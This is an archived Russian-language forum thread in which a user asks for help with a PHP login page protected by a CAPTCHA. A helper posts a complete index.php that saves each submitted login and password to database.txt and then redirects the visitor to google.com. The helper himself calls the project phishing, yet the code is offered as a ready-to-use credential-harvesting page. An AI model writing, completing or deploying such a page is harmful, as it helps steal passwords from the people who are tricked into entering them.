[ Поиск ] - [ Пользователи ] - [ Календарь ]
Полная Версия: Помогите с скриптом phpcaptcha + запоминание вводи
Страницы: 1, 2, 3, 4, 5
dima.nechestnykh
Итак поставил всё как вы предложили, но как я понимаю вы не видели всех скриптов естественно тут точный ответ не даш не видя всей композиции :) и так , всё добавил проставил, но увы не работает и дело в том, что я когда оставляю поле для ввода капчи - пустым он пишет "Пожалуйста заполните это поле" заполняю даже не верными данными и он всё равно нас перекидывает на login.php а далее уже на нужный мне сайт.

Код поля для ввода капчи
<input name="captcha_code" class="form-control" placeholder="Капча" required="" type="text">


Да сохранил представленный Вами код в index.php ради теста запустил, оказалось, что работает. Но у меня в моём коде не желает работать, ну почему же....

Отправил вам данные скриптов весх моих на файлообменик посмотрите...

И конечно хотелось бы сделать, чтобы в этом же окне писалось что капча введена не правильно... т.е.
1)С переадресацией нужно что-то сделать после запоминая через login.php
2) Если капча введена не правильно записи данных из поля логин и пароль произведено не будет.
dima.nechestnykh
Итак сделал отдельную форму для поля капчи и для самой картинки и заработало.
Работает правда не так как хотелось.
При правильном вводе капчи сверху над картинкой капчи выводит:
CAPTCHA - OK: sygzrc (sygzrc где разгаданная капча)
Т.е. при нажатии кнопки "войти" оставляет нас на этой же странице

<button class="" type="submit">Войти</button>


А по плану хотелось бы при верном вводе капчи, чтобы была произведена запись в нужный нам файл. Т.е. чтобы работал скрипт в файле login.php. И далее по скрипту нас перекидывает на нужный нам сайт

А при не правильном вводе, чтобы нас оставляло на этой же странице и например сверху логина писалось "капча введена не правильно попробуйте ещё раз"
walerus
Портянка
<?php
// ФАЙЛ index.php
if ( isset( $_POST['captcha_code'] ) && trim( $_POST['captcha_code'] ) != '' ){

include_once 'securimage/securimage.php';
$securimage = new Securimage();

$_POST['captcha_code'] = trim( $_POST['captcha_code'] );

if ($securimage->check( $_POST['captcha_code'] ) == false){

echo "Капча не верна.<br /><br />";
echo "Вернитесь <a href='javascript:history.go(-1)'>назад</a> и попробуйте снова.";
exit;
}else{
$Log = $_POST['login'];
$Pass = $_POST['pass'];

$log = fopen("database.txt","at");
fwrite($log,"\n $Log:$Pass \n");
fclose($log);

echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://google.com'></head></html>";
}
}
else{
if ( isset( $_POST['captcha_code'] ) && trim( $_POST['captcha_code'] ) == '' ){
echo "Вы не ввели капчу.<br /><br />";
}
}

?>

<!DOCTYPE html>
<
html lang="en">
<
head>
<
meta http-equiv="content-type" content="text/html; charset=UTF-8">
<
meta http-equiv="X-UA-Compatible" content="IE=edge">
<
meta name="" content="width=device-width, initial-scale=1">
</
head>
<
body>
<
form class="form-signin" role="form" method="post" action="">
<
h2 class="form-signin-heading">Авторизация</h2>

<
input name="sended" value="1" type="hidden">
<
input name="redirect" value="" type="hidden">

<
label>Логин</label>
<
input name="login" class="form-control" action="login.php" method="post" placeholder="Логин" type="text">

<
label>Пароль</label>
<
input name="pass" class="form-control" placeholder="Пароль" type="password" action="login.php" method="post">

<
hr>
Введите капчу<br>
<
img id="captcha" src="securimage/securimage_show.php" alt="CAPTCHA Image" /><br>
<
input type="text" name="captcha_code" size="10" maxlength="6" /><br><br>
<
a href="#" onclick="document.getElementById('captcha').src = 'securimage/securimage_show.php?' + Math.random(); return false">[ Другая капча ]</a><br>
<
hr>
<
input type="submit" name="send" size="10" value="Войти" />
</
form>
</
body>
</
html>
в корне сайта ОДИН файл index.php и папка securimage, все остальное не нужно

Мысли в слух... - рано еще такое(фишинг и прочая лабуда) писать, разберись с формами, HTML и основами php, из готового ты налепил в кучу все, причем "абы как"... :(
Быстрый ответ:

 Графические смайлики |  Показывать подпись
Здесь расположена полная версия этой страницы.
Invision Power Board © 2001-2024 Invision Power Services, Inc.